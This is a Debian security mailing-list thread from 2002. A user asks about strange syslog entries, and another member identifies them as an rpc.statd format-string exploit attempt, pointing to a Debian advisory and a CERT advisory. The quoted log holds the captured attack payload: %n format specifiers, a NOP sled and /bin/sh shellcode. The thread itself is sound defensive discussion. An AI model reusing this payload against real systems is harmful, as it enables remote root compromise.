Re: syslog messages

[Marcel Welschbillig <marcel@comdek.net.au>]

I have checked this and i am running the recommended version 
nfs-common_0.1.9.1-1, also i don't see any obvious signs of access. Dose 
this mean i don't need to worry about it or is there something else i 
should be doing ?

Marcel

Steve Mickeler wrote:

> Its an exploit attempt.
>
> See http://www.debian.org/security/2000/20000719a and 
> http://www.cert.org/advisories/CA-2000-17.html for more info
>
>
> On Thu, 21 Feb 2002, Marcel Welschbillig wrote:
>
>
> > Hi,
> >
> > Im getting these strange entries in my syslog file. Can anyone shed some 
> > light on what this means ?
> >
> >
> > Feb 21 14:03:35 jbeam
> > Feb 21 14:03:35 jbeam syslogd: Cannot glue message parts together
> > Feb 21 14:03:35 jbeam /sbin/rpc.statd[198]: gethostbyname error for 
> > ^X<F7><FF>
> > <BF>^X<F7><FF><BF>^Y<F7><FF><BF>^Y<F7><FF><BF>^Z<F7><FF><BF>^Z<F7><FF><BF>^[<F7>
> > <FF><BF>^[<F7><FF><BF>%8x%8x%8x%8x%8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%n\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
> > Feb 21 14:03:35 jbeam 
> > <C7>^F/bin<C7>F^D/shA0<C0>\210F^G\211v^L\215V^P\215N^L\2
> > 11<F3><B0>^K<CD>\200<B0>^A<CD>\200<E8>\177<FF><FF><FF>
> >
> >
> > Thanks in advance !
> >
> > Marcel
> >
> >
> >
> >
> > --
> > To UNSUBSCRIBE, email to debian-security-request@lists.debian.org
> > with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian..org
>
>
>
>
> Todays root password is brought to you by /dev/random
>
> ..-------------------------------------.
> | Steve Mickeler * Network Operations |
> +-------------------------------------+
> |     Neptune Internet Services       |
> `-------------------------------------'
>
> 1024D/ACB58D4F = 0227 164B D680 9E13 9168  AE28 843F 57D7 ACB5 8D4F